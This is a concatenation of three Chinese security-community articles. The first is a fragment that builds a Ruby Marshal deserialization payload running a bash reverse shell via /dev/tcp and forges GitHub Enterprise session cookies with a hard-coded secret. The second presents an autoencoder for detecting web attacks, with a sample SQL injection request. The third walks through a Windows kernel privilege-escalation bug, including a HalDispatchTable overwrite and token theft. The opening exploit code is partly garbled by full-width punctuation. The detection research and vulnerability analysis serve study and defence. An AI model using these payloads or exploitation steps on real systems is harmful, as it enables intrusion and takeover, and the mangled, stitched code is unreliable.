因此，我们可以使用它来弃用实例变量; 运行该实例变量后，它将丢弃警告消息并调用新方法。这正是我们在这一步所需要的。
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
@instance = instance
@method = method
@deprecator = ActiveSupport::Deprecation.new
end
end
end
end
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, erb
depr.instance_variable_set :@method, :result
depr.instance_variable_set :@var, “@result”
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
或者 depr =
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis,
:result)
在这一步，如果我们尝试访问depr对象，我们将运行代码。
现在我们可以使用Marshal.dump序列化已完成的对象，并使用base64函数进行编码。
payload = Base64.encode64(Marshal.dump(depr)).gsub(“\n”, “”)
puts payload
将所有步骤组合到源代码中
require“base64”
require“erb”
class ActiveSupport
class Deprecation
def initialize（）
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize（instance，method）
@instance = instance
@method = method
@deprecator = ActiveSupport :: Deprecation.new
end
end
end
end
erb = ERB.allocate
erb.instance_variable_set：@src，“％x（bash -i>＆/ dev / tcp/127.0.0.1 / 1337 0>＆1）;”
erb.instance_variable_set：@ lineno，1337
depr = ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set：@ instance，erb
depr.instance_variable_set：@ method，：result
depr.instance_variable_set：
@ var，“ @ result ” depr.instance_variable_set：@ predecator，ActiveSupport :: Deprecation .new
payload = Base64.encode64（Marshal.dump（depr））。gsub（“\ n”，“”）
# 加载payload
你可以在repl.it代码平台[运行](https://repl.it/@allyshka/Ruby-RCE-with-Marshalload "运行")。
去年在GitHub Enterprise 2.8.0 <
2.8.6产品中发现了类似的错误。会话cookie标志有一个静态会话密钥，cookie本身就是Marshal对象。
/data/enterprise-manage/current/config.ru :
62: # Enable sessions
63: use Rack::Session::Cookie,
64: :key => “_gh_manage”,
65: :path => “/”,
66: :expire_after => 1800, # 30 minutes in seconds
67: :secret => ENV[“ENTERPRISE_SESSION_SECRET”] || “641dd6454584ddabfed6342cc66281fb”
首先，使用上述漏洞利用代码创建DeprecatedInstanceVariableProxy对象。
session = {“session_id” => “”, “exploit” => proxy}
之后，我们需要编组会话变量，编码和HMAC使用我们的SECRET密钥641dd6454584ddabfed6342cc66281fb签署其SHA1摘要。
dump = [Marshal.dump(session)].pack(“m”)
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
最后，编码有效负载并使用 - 分隔符对连接进行签名，然后将请求作为cookie头发送。
rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”
图1. 成功利用GitHub Enterprise 2.8.5
在修复了这个错误后的几个月，台湾研究员Orange Tsai发现了另一个包含像这样的反序列化漏洞的漏洞。该问题有四个链 -通过远程SSRF到内部Graphite服务SSRF，然后到Python httplib.HTTPConnection模块内的CR-LF注入，然后从Memcache数据库对Ruby对象进行不安全的反序列化。攻击者可以存储使用相同漏洞利用生成的恶意对象，然后在从缓存Memcache中获取该对象后，Ruby
gem会自动对其进行反序列化，这将导致代码执行。
图2. 成功利用GitHub Enterprise 2.8.6
成功利用后，攻击者可以使用此类错误在远程系统上运行任意代码。由于使用的广泛可能性，这样的错误导致生产中的严重问题。例如，加密矿工喜欢将这样的bug应用到他们的攻击库中以感染许多系统，以便受感染的系统可以成为僵尸网络的一部分。当然，如果易受攻击的应用程序从目标系统上的高权限用户运行，问题将变得更加严重。留意！
# 参考
<https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles> —
Slides about marshalling and pickle serialization from OWASP AppSecCali 2015
by Christopher Frohoff
<https://gist.github.com/niklasb/df9dba3097df536820888aeb4de3284f> — Rails
5.1.4 YAML unsafe deserialization RCE payload
<https://repl.it/@allyshka/Ruby-RCE-with-Marshalload> — Ruby Marshal+Base64
RCE payload playground/generator
<http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html> — GitHub Enterprise 2.8.0 < 2.8.6 RCE report and details
<https://www.exploit-db.com/exploits/41616/> — GitHub Enterprise 2.8.0 < 2.8.6
RCE exploit
<http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html> —
GitHub Enterprise 4-chained vulnerability. One of them is unsafe Marshal
deserialization | 社区文章 |
原文：<https://aivillage.org/posts/detecting-web-attacks-rnn/>
几十年来，攻击检测一直都是信息安全不可分割的组成部分。根据目前掌握的信息来看，世界上第一个IDS实现可以追溯到上世纪80年代早期。以下内容摘自维基百科：
Dorothy E. Denning在Peter G. Neumann的协助下于1986年发布了IDS模型，从而为当今的攻击检测系统奠定了基础。[20]
她的模型使用统计数据进行异常检测，并在SRI
International公司创建了IDS的前身——当时命名为入侵检测专家系统（IDES），该系统运行在Sun工作站上，可以同时对用户和网络级数据进行检测。
下面，让我们来看一下统计方法如今在异常检测领域的表现。
几十年后的今天，已经围绕攻击检测形成了一个完整的产业。同时，各种各样的相关产品也如雨后春笋般涌现出来，如IDS、IPS、WAF、防火墙等，其中大部分产品都是基于规则的攻击检测。由此看来，在生产环境中使用某种统计学方面的异常检测算法进行攻击检测的想法，似乎已经不像过去那样大行其道了，但是，果真如此吗？
**检测针对Web应用程序的网络攻击**
* * *
第一批专门用于检测与应用程序有关的网络攻击的防火墙，是在上世纪90年代初开始面市的。自那时以来，攻击技术和保护机制都发生了翻天覆地的变化，因为攻击者每天都在不停的进步，安全厂商只能被迫跟进。
现在，大部分WAF都使用类似下面介绍的方式来检测攻击：将基于规则的引擎嵌入到某种类型的反向代理中。这方面最著名的例子就是mod_security，它是一个用于Apache
Web服务器的WAF模块，创建于2002年。但是，基于规则的检测方法有一些缺点，例如，它们无法检测新型的攻击，即0day攻击，但是，同样面对这些新型攻击，人类专家却很容易将其检测出来。如果仔细思考一下，就会觉得这一点也不奇怪——人类的大脑的工作方式与一组正则表达式的工作方式是截然不同的。
从WAF的角度来看，攻击类型可以分为基于时间序列和基于单个HTTP请求/响应的两种类型。我们的研究重点，是检测后面那类攻击，包括：SQL注入、跨站脚本攻击、XML外部实体注入、路径遍历、OS命令、对象注入，等等。
但是，首先让我们问自己下面的问题：
**当人们看到一个请求时，他们会怎么做？**
* * *
下面给出的是针对某个应用程序的常规HTTP请求：
POST /vulnbank/online/api.php HTTP/1.1
Host: 10.0.212.25
Connection: keep-alive
Content-Length: 59
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://10.0.212.25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://10.0.212.25/vulnbank/online/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=4dorluj4ccherum6m9c1i0j917
type=user&action=login&username=ytrtry&password=tyhgfhgfhg
即使您的任务是查找发送给该应用程序的恶意请求，您很可能也会先观察一些正常的请求。在观察一些发给应用程序端点的请求之后，就会对正常请求的结构和功能有一个大致的了解。
现在，我们来看看下面的请求：
POST /vulnbank/online/api.php HTTP/1.1
Host: 10.0.212.25
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.212.25/vulnbank/online/login.php
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 76
Cookie: PHPSESSID=mlacs0uiou344i3fa53s7raut6
Connection: keep-alive
type=user&action=login&username=none'+union+select+1,2,login,password,5,6,7,NULL,NULL,10,11,12,13,14,15,16,17+from+users+limit+1+--1
它会马上引起您的注意，因为某些东西是有问题的。当然，我们需要一些时间来了解具体情况，并且在找出请求中存在异常的部分后，就会进一步思考它属于什么类型的攻击。从本质上讲，我们的目标就是让我们的攻击检测AI以某种类似于人类推理的方式来工作。
不过，这里需要面对一个非常棘手的问题：对于某些流量来说，虽然乍一看是恶意的，对于特定的网站来说，实际上可能是完全正常的。
例如，让我们来看看下面的请求：
这是异常的请求吗？ 实际上，该请求是由Jira漏洞跟踪器发出的，并且对于该服务来说这是一个标准的请求，这意味着该请求是良性的。
现在，让我们来看看另一个例子：
初看起来，该请求好像是基于Joomla
CMS的网站上典型的用户注册请求。但是，这里请求的操作是“user.register”，而不是正常的“registration.register”。实际上，前一个选项已弃用，因为它含有一个安全漏洞，允许任何人将自己注册为管理员。
实际上，该漏洞就是著名的“3.6.4以下版本的Joomla系统的帐户创建/权限提升漏洞”（CVE-2016-8869，CVE-2016-8870）。
**我们是如何入坑的**
* * *
首先，我们研读了关于该主题的相关研究。在过去的几十年中，在创建各种不同的统计或机器学习算法来检测攻击方面，人们已经进行了大量的尝试。最常见的一种方法，就是将其作为分类任务进行处理，其中的类别可以是“良性请求、SQL注入、XSS、CSRF，等等”。对于给定数据集来说，虽然分类器能够获得一定的准确度，但这种方法仍然面临一些非常重要的问题：
1. 类别集合的选择。如果在训练期间模型只有三个类别，例如“良性、SQLi、XSS”，然而，如果在生产环境中遇到“CSRF”类型的攻击，甚至是全新的攻击技术的话，该如何是好？
2. 类别的含义。假设需要保护十位客户，并且每个客户都运行完全不同的Web应用程序。对于大多数人来说，您根本不知道针对他们的应用程序的某种“SQL注入”攻击到底是什么样子的。这就意味着，您必须设法以人工方式来构建训练数据集，这是一个非常可怕的决定，因为这样的话，我们用以训练模型的数据的分布情况，将会与真实数据的分别情况截然不同。
3. 模型结果的可解释性。好吧，它给出了“SQL注入”标签，那接下来呢？我们以及我们的客户（他们往往是第一个看到该警报的人，但他们通常不是网络攻击专家）还必须猜测模型认为哪些部分是恶意的。
请牢记一点，我们的目标是设法进行分类。
由于HTTP协议是基于文本的，所以显而易见，我们必须了解一下现代文本分类器。这方面，众所周知的一个例子就是IMDB电影评论数据集的情绪分析。一些解决方案就是使用RNN网络对这些评论数据进行分类。于是，我们也决定使用类似的RNN分类模型，但这里会略有不同。例如，用于自然语言分类的RNN网络使用了词嵌入技术，但是，我们还不清楚HTTP等非自然语言中有哪些“词”。所以，我们决定在模型中使用字符嵌入方法。
遗憾的是，现成的嵌入技术并不适用于我们要解决问题，因此，我们采用了一种简单的映射方法：把字符映射为具有内部标记（如“<go>”和“<eos>”）的数字代码。</eos></go>
在完成模型的开发和测试之后，之前预估的所有问题都变得清晰起来，但至少我们的团队已经走出了无用推测的境地，并为一些问题找到了答案。
**我们是如何行进的**
* * *
此后，我们决定采取一些措施，让我们模型的结果更具可解释性。在探索过程中，我们无意中遇到了所谓的“注意力”机制，于是将其整合到自己的模型中，并取得了令人满意的成果：将这些技术综合在一起后，终于获得了一些人类可解释的结果。现在，我们的模型不仅能够输出标签，同时还能给出输入的每个字符的注意力系数。
如果能够将模型的结果（例如通过Web界面）可视化的话，我们就可以在发现“SQL注入”攻击的确切位置上标记出相应的颜色。到目前为止，虽然我们已经取得了一定的成果，但仍有许多问题摆在面前。
很明显，我们必须在注意机制的方向上继续深耕，并逐渐摆脱分类模型。在阅读了大量序列模型相关研究（例如，“Attention is All You
Need”、“word2vec”、编码-解码架构）并利用我们的数据进行实验之后，终于鼓捣出了一个在某种程度上能够像人类专家一样工作的异常检测模型。
**自编码器**
* * *
显而易见，在某些时候，序列到序列自编码器[5]才是最适合我们的模型。
序列到序列模型[7]由两个多层LSTM网络组成：一个编码器和一个解码器。其中，编码器的作用是将输入序列转换为固定维度的矢量，而解码器的作用是使用编码器的输出对目标矢量进行解码。
自编码器就是一种序列到序列模型，其思路就是设法让目标值等于其输入值。该模型的思想，就是教神经网络重建它所看到的东西，换句话说，其本质是学习一个相等函数。因此，对于一个训练好的自编码器，如果输入一个异常样本，那么，它在重建过程中，将会引入非常大的误差。
**实现代码**
* * *
我们的解决方案由多步组成：模型的初始化、训练、预测和验证。
对于[存储库](https://github.com/PositiveTechnologies/seq2seq-web-attack-detection
"存储库")中的大多数代码来说，都是无需解释的，所以，这里只关注一些重要的部分。
该模型将初始化为Seq2Seq类的实例，该类的构造函数参数为：
batch_size：一个批量中包含的样本数
embed_size：嵌入空间的维度（应小于词汇量）
hidden_size：lstm中隐藏状态的数量
num_layers：lstm构造块的数量
checkpoints：检查点目录的路径
std_factor：用于定义模型阈值的stds数
dropout：每个元素被保留的概率
vocab：Vocabulary对象
之后，初始化自编码器的各个层。首先，来看看编码器的初始化：
# Encoder
cells = [self._lstm_cell(args['hidden_size']) for _ in range(args['num_layers'])]
multilstm = tf.contrib.rnn.MultiRNNCell(cells, state_is_tuple=True)
_, enc_state = tf.nn.dynamic_rnn(
multilstm,
enc_embed_input,
sequence_length=self.lengths,
swap_memory=True,
dtype=tf.float32)
然后，看看解码器的初始化：
# Decoder
output_lengths = tf.reduce_sum(tf.to_int32(tf.not_equal(self.targets, 1)), 1)
helper = tf.contrib.seq2seq.TrainingHelper(
dec_embed_input,
output_lengths,
time_major=False)
cells = [self._lstm_cell(args['hidden_size']) for _ in range(args['num_layers'])]
dec_cell = tf.contrib.rnn.MultiRNNCell(cells, state_is_tuple=True)
decoder = tf.contrib.seq2seq.BasicDecoder(dec_cell, helper, enc_state)
dec_outputs = tf.contrib.seq2seq.dynamic_decode(
decoder,
output_time_major=False,
impute_finished=True,
maximum_iterations=self.max_seq_len, swap_memory=True)
由于我们要解决的问题是异常检测，因此目标值和输入值是相同的。因此，我们的feed_dict会是下面的样子：
feed_dict = {
model.inputs: X,
model.targets: X,
model.lengths: L,
model.dropout: self.dropout,
model.batch_size: self.batch_size,
model.max_seq_len: seq_len}
每训练一轮之后，最佳模型都被保存为检查点，这样一来，完成训练后，就可以通过加载相应的检查点来进行预测了。为了进行测试，我们建立了一个实时Web应用程序，并使用我们的模型为其提供保护，这样就可以测试真实攻击是否成功。
受注意力机制效果的鼓舞，我们尝试将其应用于自编码器，结果发现，从最后一层输出的概率能更好地找出给定请求的异常部分。
在我们的样品测试阶段，得到了非常好的结果：精确率和召回率都接近0.99。ROC曲线直接奔1而去。这看起来棒极了！
最终代码可以从这里[下载](https://github.com/PositiveTechnologies/seq2seq-web-attack-detection "下载")。
**测试结果**
* * *
实验结果证明，我们提出的Seq2Seq自编码器模型能够高精度地检测HTTP请求中的异常部分。
这个模型的工作方式更像人类：它只学习对Web应用程序而言是“正常”的用户请求。它能够检测请求中的异常部分，并突出显示请求中被视为异常部分的确切位置。我们利用针对测试应用程序的一些攻击数据对该模型的性能进行了评估，结果让人倍受鼓舞。例如，上图描绘了我们的模型如何检测到SQL注入分为两个Web表单参数。这种SQL注入技术被称为“分段化”，即攻击的有效载荷部分通过若干HTTP参数进行传递，这使得传统的、基于规则的WAF难以检测出这种情况，因为它们通常单独地检查每个参数。另外，我们的模型代码和训练/测试数据是以Jupyter笔记本的形式进行发布的，因此，任何人都可以重现我们的结果并提出改进建议。
**总结与展望**
* * *
当然，这里仍有许多不足之处有待改进。
首先，第一个问题是尝试对攻击进行分类。我们不妨回顾一下人类专家是如何发现网络攻击的：首先，他会注意到一些异常的事实，然后，他会开始推理，如果这是网络攻击的话，那么是什么类型的攻击。我们的模型能够完成第一步，它会在请求中查找异常序列。既然我们已经将所有重要的异常数据压缩为小型的字符序列，使得所有特定于应用程序的请求部分看起来都不像异常数据，那么，如果我们尝试在其上运行分类器的话，结果会如何呢？这看起来可以重现人类推理的第二步，即我们正在处理的攻击属于哪种类型。
第二个问题是可以用来逃避这种检测方法的对抗性示例。近年来，涌现出许多对抗性ML的研究论文，研究表明，人们能够让模型“看到”他们想要它看到的任何东西。显然，如果夏娃试图逃避我们的检测模型，那么，她可能会想出一些对抗技术来达到目的。
第三个问题是性能。现在，在两个GPU上训练我们的小数据集都需要几天时间，所以，目前根本不具备可扩展性。
尽管如此，我们仍然认为这项工作提出了一种有趣的方法来构建用于检测Web应用程序攻击的模型。在本研究中，最重要的贡献之一是试图以无人监督但具备可解释性的方式来模仿人类专家的推理过程。值得注意的是，我们可以清楚地看到这项研究将来的发展步骤，而且每一步都是非常合理，并极可能实现的。我们希望这项工作能够激发其他团队和研究人员对于深度学习在安全攻击检测方面的兴趣，并热切期待能够与他们进行广泛深入的合作。
**参考资料**
* * *
[1][ Understanding LSTM
networks](https://colah.github.io/posts/2015-08-Understanding-LSTMs/ "
Understanding LSTM networks")
[2] [Attention and Augmented Recurrent Neural
Networks](https://distill.pub/2016/augmented-rnns/ "Attention and Augmented
Recurrent Neural Networks")
[3] [Attention is all you need](https://ai.googleblog.com/2017/08/transformer-novel-neural-network.html "Attention is all you need")
[4][ Attention is all you need
(annotated)](https://nlp.seas.harvard.edu/2018/04/03/attention.html "
Attention is all you need \(annotated\)")
[5] [Neural Machine Translation (seq2seq)
Tutorial](https://github.com/tensorflow/nmt "Neural Machine Translation
\(seq2seq\) Tutorial")
[6]
[Autoencoders](http://ufldl.stanford.edu/tutorial/unsupervised/Autoencoders/
"Autoencoders")
[7] [Sequence to Sequence Learning with Neural
Networks](https://arxiv.org/abs/1409.3215 "Sequence to Sequence Learning with
Neural Networks")
[8] [Building autoencoders in Keras](https://blog.keras.io/building-autoencoders-in-keras.html "Building autoencoders in Keras") | 社区文章 |
# 菜鸟的Windows内核初探（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、前言
因为一些原因需要对《漏洞战争》中的某些漏洞进行复现，这个漏洞在书中9.6节。泉哥太过牛逼，我这只菜鸟还是跟不上泉哥的思路，于是挣扎了很久，参阅了很多其他资料，费劲千辛万苦终于算是比较粗浅的了解了这个漏洞的原理以及利用的方法。作为第一次研究windows内核，还是想分享一下过程中的坑点，希望其他人可以少浪费点时间。
## 1、环境配置
### 1.1 实验环境
windows 7 sp1 x86家庭普通版、windbg、VirtualKD-Redux、VS 2010
### 1.2 windbg符号表配置
对于windows内核的相关调试，个人感觉最好用的就是windbg。毕竟windows是不开源的，很多东西无法从源码中获得，就需要间接获取。因为windbg是微软自己开发的调试器，很多内核相关的数据结构可以由windbg获取（
**用微软打败微软** ）
而为了能够很好的进行调试，获取相关系统的符号表就显得尤为重要，不然分析一个驱动文件，都是诸如sub_xxxx之类的函数，看的头疼。这里提供两种方法进行获取符号表，其中第一种方法对于新版本的windows是不可行的，但是对于文章中的系统还是可行的。
#### 1.2.1 离线安装
第一种就是离线方法。的确目前来说微软是不支持离线获取符号表的，但是总有一些大佬可以做到，还乐意分享出来。这里引用的是吾爱破解的某个大佬放出的离线包<https://www.52pojie.cn/thread-1146411-1-1.html>
找到对应版本的系统之后，下载安装。之后安装到本地某个路径下之后，在windbg的symbol path中导入
之后reload之后就可以成功导入符号表
#### 1.2.2 在线获取
但是说实话，离线安装的限制太多了。基本不提倡使用，一般来说都是在线获取。在线获取网上很多，但是很多文章都忽略了一个很重要的问题就是——科学上网。
并不是说一定要科学上网，还可以通过配置环境变量等方法获取，但是比较繁琐。一次科学上网之后会在本地目录下缓存相应的符号表，之后就可以直接访问本地的了。不需要再科学上网了。（在线的教程比较多，这里就不详细说了）
### 1.3 双机调试
对于windows内核漏洞调试来说，蓝屏是常态，所以对于可能使系统崩溃的漏洞来说，本地内核调试是不方便的，最好的就是使用双机进行调试。这里着重说一下我的环境：
**物理机是wind10、vmware 是15.5**
（至于为什么要强调环境，主要是大佬们的博客在这方面基本不讲，以至于我们这些萌新复现的时候就会踩很多的坑）
双机调试有两种方法，一种是使用windbg自带的串口通信（没试过，但是可以参考某位大佬：编程难的博客：[https://bianchengnan.gitee.io/articles/vmware-vs2019-win10-kernel-debug-setup-step-by-step/）](https://bianchengnan.gitee.io/articles/vmware-vs2019-win10-kernel-debug-setup-step-by-step/%EF%BC%89)
这里我采用是一种名叫VirtualKD的工具，github上可以下载。使用方法如下：
根据系统版本下载对应的VirtualKD，直接运行exe文件，会自动解压
将target文件夹移到需要调试的虚拟机中
运行文件夹中的vminstall.exe
点击install，在弹出的窗口中选择是，实现虚拟机重启
在实体机中运行vmmon.exe，同时重启的虚拟机选择系统调试
可以看到此时这里并不能attach上虚拟机（标红，如果可以attach的话是标绿），查看日志信息，发现是版本的问题
经过多方搜索，最终在Github上面找到了答案，原来是因为Vmware的版本过高（我这里是15.5）所以VirtualKD无法进行通信，所以attach不上。所以这里引出一个分支版本的VirtualKD叫做VirtualKD-Redux。这个同样也可以在Github上下载。安装方法相同，就是使用方法有一点不同。
重启之后导入如下页面，选择“禁用程序驱动签名强制”，记住这里不要回车，而是要按F8，之后就可以看到VirtualKD成功attach上了
在使用之前还需要配置一下调试工具，也就是VirtualKD上面的debugger
path。因为VirtualKD还提供其他调试工具来进行双机调试，所以这里为了使用windbg，需要在debug
path中设置为windbg的路径。这里的windbg选择32位还是64位是根据物理机来选择的。
到此为止，环境相关的配置就到这里了。
## 2、先验知识
为了更好的分析漏洞，一些需要提前知道的知识、数据结构、关键API就先在这里提到。
### 2.1 Windows的Path子系统
这个PATH系统的作用其实是一个相关于绘制图形曲线的系统。
比如：直线、矩形、省略号、Arcs、多边形、基数样条、贝塞尔自由绘制曲线。在这个子系统中有几个类（Windows的本质其实就是类）。
重点关注下图的数据结构
**PATHRECORD** 结构是 path 子系统主要操作的结构，对其直线化操作就是对 PATHRECORD 操作。PATHRECORD
结构构成了一个双向链表，pprnext,pprprev 分别为前后项指针，flags 为 类型比如像 PD_BEZIERS（贝塞尔曲线）。Count
为点的数量。POINTFIX 记录了各种坐标点。
**PATHALLOC** 是分配 PATHRECORD 的容器。当需要新建一个 PATHRECORD 时候，首先从
ppachain->pprfreestart 指向 的 地址 开 始 ， 判断该 PATHALLOC 是否 还有空 间 分配 一个
PATHRECORD，若有则以 pprfreestart 指向的地址分配新 PATHRECORD，ppfreestart 指针向下移
动；若空间不够，则分配一个新的 PATHALLOC，链入 ppachain 指向链表的链表头，再从新建 的 PATHALLOC 里的
pprfreestart 开始分配内存。由此可见，系统分配 PATHRECORD，实际上 是通过 PATHALLOC 结构实现的。ppanext
后向指针，pprfreestart 指向当前 PATHALLOC 内的空 闲空间。siztPathAlloc 是 PATHALLOC 的大小。当然
PATHALLOC 还有一些非常关键的静态数据 成员，比如 freelist,cFree 等。
**PATH** 结构主要被用在 EPATHOBJ 类中，这个类实现了一些操作 path 的函数，ppachain 指向了
PATHALLOC，pprfirst 指向第一 个 PATHRECORD，pprlast 指向最后一个。漏洞触发 的关键函数 pprFlattenRec
就在这里实现的。
### 2.2 HALDISPATCHTABLE
简单来说，这实质就是一个函数指针，不过是运行在 **内核态**
的指针。形象的说是一个表，在不同偏移位置代表的是不同的函数。这里主要用到的是偏移量为4的HalQuerySystemInformation
通过MSDN也可以知道这个函数的功能。这个函数就是去读取MCA banks’状态的寄存器。（MCA——-Machine Check
Architecture）。
对于这个功能不需要关系，但是最重要的是可以通过这个函数作为跳板，从用户态进入内核态，最终达到提权的效果
### 2.3 NtQueryIntervalProfile
在EXP中使用到了这个函数。通过研究其调用工程，可以知道大佬的高明之处。
首先这个函数的功能其实并没有什么。主要就是返回当前为给定配置文件源设置的配置文件间隔。这个函数的确没有什么作用，但是在内部调用的其他函数就不一样了。
通过反汇编可以知道在其内部调用了KeQueryIntervalProfile
反汇编KeQueryIntervalProfile，发现最后会调用HALDISPATCHTABLE偏移4的函数，在上文中提到是HalQuerySystemInformation。那么利用思路就比较清晰了。
**如果能够将shellcode的地址覆盖到HALDISPATCHTABLE偏移量为4的地方。那么在系统调用NtQueryIntervalProfile就可以在内核态中执行我们的shellcode了。**
### 2.4 Ring机制
Intel的x86处理器是通过Ring级别来进行访问控制的，级别共分4层，从Ring0到Ring3（后面简称R0、R1、R2、R3）。R0层拥有最高的权限，R3层拥有最低的权限。按照Intel原有的构想，应用程序工作在R3层，只能访问R3层的数据；操作系统工作在R0层，可以访问所有层的数据；而其他驱动程序位于R1、R2层，每一层只能访问本层以及权限更低层的数据。这样操作系统工作在最核心层，没有其他代码可以修改它；其他驱动程序工作在R1、R2层，有要求则向R0层调用，这样可以有效保障操作系统的安全性。但现在的OS，包括Windows和Linux都没有采用4层权限，而只是使用2层——R0层和R3层，分别来存放操作系统数据和应用程序数据，从而导致一旦驱动加载了，就运行在R0层，就拥有了和操作系统同样的权限，可以做任何事情，而所谓的rootkit也就随之而生了。
### 2.5 Windows token机制与安全
访问令牌(access
token)主要负责描述进程或线程的安全上下文。这包括关联的用户、组和特权。基于这些信息，Windows内核可以根据进程请求的特权操作做出访问控制决策。令牌通常与特定的进程或线程相关联，它们是内核对象。在用户空间中，它们由一个句柄唯一标识。
有两种主要的令牌;主要令牌和模拟令牌。Windows中的所有进程都有一个与它们相关联的主令牌。它们规定了相关进程的特权。创建新流程时，默认操作是让子进程继承与其父进程关联的主令牌。
Windows是一个多线程操作系统，一个进程总是至少有一个相关的线程。默认情况下，线程将使用主令牌，在与其父进程相同的安全上下文中进行操作。然而，Windows也使用了模拟的概念，它允许一个线程临时模拟一个不同的安全上下文，如果给它一个不同的访问令牌的话。这通常使用模拟令牌执行。
在系统的正常操作期间，根据服务器的功能及其当前的使用环境，会出现各种各样的令牌。如果系统被破坏，那么可以通过使用这些令牌来实现某种形式的权限升级，这取决于对系统的访问级别。这种升级通常分为两种主要形式:域特权升级和
**本地特权** 升级。
因为这个漏洞与本地提权有关，所以只介绍相关概念。如果攻击者破坏了低特权服务，则最有可能发生这种情况。允许客户端通过Windows身份验证进行连接的服务通常会获得对客户端模拟令牌的访问权。服务客户端的线程通常会使用它来模拟客户端的安全上下文。如果连接的客户端是管理员，则攻击者可以使用此令牌升级他们在系统上的特权，以获得管理访问权。
令牌本质上是内核数据结构。在用户空间中，使用句柄引用令牌。然后可以将这些句柄传递给相关的Windows
API调用，以便对所需的令牌进行操作。枚举系统上所有令牌的最全面的方法是枚举系统上的所有句柄，然后确定哪些句柄表示令牌。为了做到这一点，有必要使用由ntdll.dll导出的低层API调用。
介绍完这个就要说到这个漏洞的提权机制了。
**EXP是通过PsReferencePrimaryToken来获得系统的TOKEN和目标进程的TOKEN，之后利用子自定义的API——-FindAndReplaceMember,将进程的TOKEN替换为系统的TOKEN。达到本地提权的目的**
### 2.6 看门狗
看门狗其实就是一个可以在一定时间内被复位的计数器。当看门狗启动后，计数器开始自动计数，经过一定时间，如果没有被复位，计数器溢出就会对CPU产生一个复位信号使系统重启（俗称“被狗咬”）。系统正常运行时，需要在看门狗允许的时间间隔内对看门狗计数器清零（俗称“喂狗”），不让复位信号产生。如果系统不出问题，程序保证按时“喂狗”，一旦程序跑飞，没有“喂狗”，系统“被咬”复位。
**这个EXP中利用看门狗就是在遍历链表死循环的时候跳出，Patch上自己创建的ExploitRecord节点。**
## 3、漏洞成因分析
首先我们用IDA载入win32k.sys，搜索
EPATHOBJ::bFlatten这个函数，观察到它调用了EPATHOBJ::pprFlattenRec。这个就是漏洞的关键点
在这个函数中又调用了EPATHOBJ::newpathrec
跟进EPATHOBJ::newpathrec发现其调用了newpathalloc
接着就具体分析一下newpathalloc，在newpathalloc中有声明一个结构PATHALLOC，这个在上面也介绍过了。这个函数会优先从freelist空闲链表中找到可用的内存节点，以用于分配PATHRECORD结构。
但是有一个问题就是在使用freelist之前并没有对从freelist获取的内存块中进行初始化，那么使用的时候就不知道这些内存块里存放着一些什么数据。这里就有可能被利用。在具体分析怎么利用之前，为了更好的分析，需要先对IDA的数据结构进行一些修改。在之前已经介绍过了PATHRECORD的结构了，但是IDA并不能很好的进行识别。所以这里需要我们手动进行修改。按shift+f1打开本地类型
按insert添加自定义结构体PATHRECORD
之后重新进行反编译，可阅读性明显提高
为了更好的理解漏洞的原因。接下来就从头开始走一遍。
首先观察bFlatten，这个函数。这里其实是在遍历链表，如果遍历到的PATHRECORD节点的flags有0x10的属性（代表贝塞尔曲线），则对其进行pprFlattenRec操作。
之后进入pprFlattenRec进行分析，这个函数可以分为几个部分进行分析
首先是第一部分通过调用newpahrec创建一个新的PATHRECORD节点
第二部分就是对new_pathrecord的某些成员变量进行赋值
第三部分就是将新赋值完的节点前向节点加入链表中
第四部分是跟贝塞尔曲线有关的代码，下文就统称flatten
第五部分是新节点的后向节点链入链表
从这几步来看，好像新生成的这个节点初始化也很好。那么问题出在哪里呢？在以上几步的分析除了第四步以外，其余的分析都比较充分了，那么第四步是否有问题呢？咱们回去看之后发现，的确有点问题，在代码中又调用了一次newpathrec
那这里到底有什么问题呢？仔细看代码会发现，如果这里创建不成功的话，那么会直接return 0，那么后续节点也就无法链入链表中。
**总的来说就是这个漏洞的根源在于win32k!EPATHOBJ::pprFlattenRec中对于贝塞尔曲线的一些操作对于内存分配失败的错误。如果新的节点freelist_node是从池中申请的，因为池管理器不会主动内存清零，则该节点的初始内容未知。如果在flatten阶段创建的阶段不成功，那么链表的形态就会被破坏——一个链表连了前向指针，后向指针next不知道要指向什么地方。这就是漏洞的成因。**
## 4、漏洞利用
首先声明一下，POC不是我写的，而是直接用大佬的。阅读完之后不得不感叹，大佬的思路清奇，首先在理论层面解释一些漏洞利用的方法。
### 4.1 关键点分析
根据上面的漏洞原理，知道要想成功利用漏洞有两个关键。
**第一个就是内存池，为了触发在flatten阶段新建PATHRECORD失败，那么就是要让内存池的空间不够；第二个就是next指针的指向位置。**
对于我来说思路很直接，介绍先创建尽可能多的PATHRECORD，让内存池空间不够，之后让next指针指向用户可控制的缓冲区内存。那么设新建多少个PATHRECORD才能把内存池的空间耗尽呢？内存地址改如何设置呢？其中有很多细节需要深究。因为地址设置的不好就只能把程序搞崩，设置的好就能像大佬们一样啊提权。
